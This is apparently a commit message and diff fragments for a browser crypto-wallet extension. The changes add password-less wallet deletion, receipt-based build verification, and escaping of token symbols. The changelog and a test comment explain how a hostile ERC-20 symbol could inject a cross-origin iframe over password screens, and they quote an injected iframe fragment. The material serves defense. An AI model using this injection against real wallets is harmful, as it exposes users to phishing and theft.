fix: let a user who lost the password delete the wallet, and warn before they can (closes #312)

Deleting a wallet was password-gated and importing its recovery phrase
again was refused as a duplicate xpub by findWalletByXpub(), so a user who
held the phrase but had forgotten the password could neither leave the
wallet nor come back to it. The only escape was clearing extension storage
through browser internals, which takes every other wallet with it, and
nothing in the product ever warned that this was possible.

DeleteWallet now offers "I have lost my password", a screen that destroys
the wallet after the user types its name back. No password: requiring one
to discard a secret protects nobody, because an attacker at the popup who
wants the wallet gone can uninstall the extension, so the only person such
a gate stops is the owner who forgot it. The typed name is a check that
the user knows which wallet they are on, so it is matched with letter
case, surrounding spaces and repeated inner spaces ignored. The last of
those is not a nicety: HTML collapses a doubled inner space when it
renders the name, so comparing raw would leave a wallet named "My  Wallet"
with a confirmation no typing could ever satisfy.

This is the deletion route rather than the re-import route, and only one
of the two. Re-import would have had to be built three times over (hd and
xprv by xpub, key by address), would make the user retype the recovery
phrase into a live popup in order to change a password, and reaches no end
state that delete-then-import does not already reach through the existing
import path and scanForAddresses().

Both routes share one finishDelete(), so the selection repair, the site
permission cleanup and the AUTISTMASK_ACTIVE_CHANGED broadcast cannot
diverge between them. The new screen is not in RESTORABLE_VIEWS, alongside
delete-wallet-confirm: a popup reopened by accident must not land on a
button that erases key material. It registers an onViewLeave() cleanup as
well, not because a wallet name is a secret but because a typed
confirmation left standing in a hidden view leaves a wallet one click from
deletion. The two delete screens are siblings, so nothing is pushed on the
way in and Back re-enters DeleteWallet through show(), which hands it back
its wallet selection.

AddWallet's password hint now states, per import mode, that the password
cannot be recovered or reset and names what the only backup is. The hint
line reserves the 48px all three wordings measure in the popup, so
switching tabs cannot move the password fields under the pointer and the
reserve costs no height the screen needs elsewhere.

The test drives the real view against a chrome.storage.local stub that
structured-clones on both set and get, and asserts against what comes back
out of storage rather than against the live state object, so it fails on
the deletion of saveState() and not only on an in-memory splice.

 ### Debug Builds
 
-`make build` always produces a release build: the build-time `DEBUG` constant is
-`false`, so wallet creation uses real entropy and the red banner is off. To
-produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:

+target that produces one:
 
 ```bash
-make build-debug          # or: AUTISTMASK_DEBUG=1 make build
+make build-debug
 ```

+`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value
+`1` does; any other value (including unset, empty, or `true`) yields a release

+compiler's input, not the verifier's: if it happens to be exported in the shell
+that runs `make build`, that target compiles a debug bundle and then **fails**,
+because it tells `script/verify-build` in so many words that it was supposed to
+produce a release build. It used to be that the verifier read the same variable
+out of its own environment, agreed with itself, and reported a debug artifact as
+verified. The build prints which mode it used. See the
 [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
 distribute a debug build** — every wallet it creates gets the same publicly
 known test recovery phrase.

+Both targets end by running `script/verify-build`, which reads the compiled
 `DEBUG` state back out of the emitted bundles and fails the build if it is not
 the one that was asked for. The test suite cannot check this: it loads
 `src/shared/constants.js` outside a bundle, so it only ever sees the fallback
 value. The assertion is on the artifacts because that is where the property
 lives.
 
+### Build Receipts
+
+`build.js` records every file it emits — path, sha256, and whether the file is
+one of the bundles containing `src/shared/constants.js` — into a build receipt,
+and `script/verify-build` checks `dist/` against that receipt: every recorded
+file present with exactly the recorded bytes, every audited bundle carrying the
+requested `DEBUG` marker, and nothing under `dist/` that the build did not
+write. The `Makefile` creates the receipt path with `mktemp` per invocation,
+outside the repo, and deletes it afterwards.
+
+That is what ties the check to a build rather than to a directory. What it
+establishes is narrow and worth stating exactly: `dist/` is byte for byte the
+output of the `build.js` run that just finished, with nothing added, removed or
+altered in between. It establishes nothing about whether the source tree or
+`build.js` were honest, and it offers nothing to someone handed a `dist/` from
+elsewhere — without the receipt from its own build there is no input to the
+check. Verifiable provenance for a third party is signing, which this is not.
+
+There is deliberately no target that re-verifies an existing `dist/` on its own.
+The list of files to check has to come from the build that produced them; read
+back out of `dist/`, it is the artifact vouching for itself, which is how a
+26-byte file containing only the marker string, a hostile content script, and an
+entire hand-written `dist/` all used to verify green.

 # Completed Steps
 
+- 2026-08-20: A forgotten password no longer wedges the wallet
+  ([#312](https://git.eeqj.de/sneak/AutistMask/issues/312)). Deleting a wallet
+  was password-gated and importing its recovery phrase again was refused as a
+  duplicate xpub, so a user who had the phrase but not the password could
+  neither leave nor come back: the only way out was clearing extension storage
+  through browser internals, which takes every other wallet with it.
+  DeleteWallet now offers "I have lost my password", a screen that destroys the
+  wallet after the user types its name back — no password, because requiring one
+  to _discard_ a secret protects nobody. An attacker at the popup who wants the
+  wallet gone can uninstall the extension; the only person such a gate stopped
+  was the owner who forgot it. That was chosen over allowing a duplicate xpub to
+  re-encrypt in place: re-import would have had to be built three times over
+  (`hd` and `xprv` by xpub, `key` by address), would make the user retype the
+  recovery phrase into a live popup to change a password, and reaches no state
+  that delete-then-import does not already reach through `scanForAddresses()`.
+  Both routes share one `finishDelete()`, so the selection repair, the
+  site-permission cleanup and the `AUTISTMASK_ACTIVE_CHANGED` broadcast cannot
+  diverge between them, and the new screen is excluded from `RESTORABLE_VIEWS` —
+  a popup reopened by accident must not land on a button that erases key
+  material. AddWallet's password hint now says, per import mode, that the
+  password cannot be recovered or reset and what the only backup is; the hint
+  line reserves its height so switching tabs cannot move the password fields.
+  The test drives the real view against a `chrome.storage.local` stub that
+  structured-clones on both `set` and `get` and asserts against the read-back,
+  so it fails on the deletion of `saveState()` and not only on an in-memory
+  splice.
+- 2026-08-20: `make build` can no longer hand back a debug build, and
+  `script/verify-build` can no longer be satisfied by bytes the build did not
+  produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
+  verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
+  environment, so an operator with that exported who ran the release target got
+  a debug bundle — every wallet it creates carrying the publicly committed test
+  phrase — certified green at exit 0. The expected mode is now the required
+  argument `--expect release|debug`, with no default and nothing read from the
+  environment, and the `Makefile` scrubs the flag from the verifier while
+  deliberately leaving it reaching the compiler, so that shell fails the build
+  loudly instead of quietly getting something other than what it asked for.
+  Provenance was the other half: the check was a marker grep over a file list
+  read back out of `dist/`, so a 26-byte file containing only
+  `autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
+  script that runs on every page were never read at all, and an entire
+  hand-written `dist/` passed. `build.js` now records every file it emits, with
+  its sha256 and whether it is one of the bundles containing `constants.js`,
+  into a receipt whose path the `Makefile` makes fresh per invocation outside
+  the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
+  `dist/` is cleared before a build so it holds only what that build wrote. The
+  standalone `make verify-build` target went with it: re-verifying a `dist/`
+  from the `dist/` itself is the thing that was broken. What this establishes is
+  narrow and stated as such in README.md — `dist/` is byte for byte the output
+  of the `build.js` run that just finished — and it is not signing, which is
+  [#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
+  `script/test-verify-build` grew from 18 cases to 39, including one per
+  demonstrated bypass and the `make -n` read-back that proves the recipes pass
+  the mode as an argument.
+- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
+  popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
+  symbol is whatever the contract's `symbol()` returns, the block explorer
+  passes it through unfiltered, and `balanceLine()` interpolated it into an
+  `innerHTML` string — so a token with the 1,000 holders the spam filter asks
+  for, airdropped to the victim, could paint a full-viewport cross-origin iframe
+  over the wallet's own UI, on the screens where the user types their password.
+  `escapeHtml` moved to `src/shared/html.js` as a pure string replace over `&`,
+  `<`, `>`, `"` and `'`: the old implementation round-tripped through a detached
+  element's `textContent`, which does not escape quotes, and it was already
+  being used inside `data-copy="..."`. Every interpolation into an `innerHTML`
+  string across `src/popup/views/` was audited, not just the reported one — the
+  transaction lists' direction label, the wallet name and ENS name in the Home
+  list, the `href` in the explorer link, and the confirmation screen's warning
+  line were all unescaped as well. Both manifests now declare
+  `default-src 'self'` with `frame-src 'none'`; the four directives that had to
+  stay looser than `'self'` are named and justified in the Content Security
+  Policy section of README.md, and `tests/manifest.test.js` pins the whole set
+  exactly. A display cap of 12 characters bounds the symbol, matching the bound
+  `lookupTokenInfo()` already applied on the contract-read path. Not repurposed
+  for any of this: `isSpoofedSymbol()`, which answers a different question and
+  would have been the wrong control.

+# about where the bytes came from. A 26-byte file containing only the marker
+# string used to verify ok; the content script and manifest.json were not read
+# at all; an entire hand-written dist/ passed. The list of files to check has
+# therefore moved OUT of dist/: build.js writes a receipt naming every file it
+# emitted, with each file's sha256 and whether it is one of the bundles
+# containing src/shared/constants.js, and the Makefile creates that receipt
+# path fresh per invocation, outside the repo, and deletes it afterwards.
+#
+# What that does and does not establish. It establishes that dist/ is byte for
+# byte the output of the build.js run that just finished, with nothing added,
+# nothing missing and nothing altered in between, and that the audited bundles
+# in it compiled to the requested mode. It does NOT establish that the source
+# tree or build.js were honest, and it says nothing at all to someone handed a
+# dist/ from elsewhere: without the receipt from its own build they have no
+# input to this check. That is signing, and it is not this control.
+#
+# It fails rather than passes whenever it cannot determine something. Minified
+# output is not a stable contract, so "matched neither marker" is not evidence

+// ------------------------------------------- hostile token symbol (#307)
+//
+// The reproduction from the issue, in the real browser against the real
+// shipped manifest. A token symbol is whatever the contract's symbol()
+// returns, the explorer passes it through, and the popup interpolated it
+// into an innerHTML string — so a token with 1,000 holders airdropped to
+// the victim could paint a full-viewport cross-origin iframe over the
+// wallet's own UI, on the screens where the user types their password.
+//
+// The iframe count and the rendered text are asserted separately on
+// purpose, and neither substitutes for the other. `frame-src 'none'` stops
+// an injected frame LOADING; it does not stop the element existing, so a
+// zero iframe count is a claim about the escaping and about nothing else.
+// The literal capped text is the claim that the symbol was treated as a
+// string all the way down.
+//
+// The iframe count is taken on the address screen before anything is
+// clicked. That is where the injected frame lands first, and it covers the
+// viewport: with the escaping removed, every later step fails as a click
+// timeout ("<iframe id=\"pwn\"> intercepts pointer events") rather than as
+// anything that names the defect.
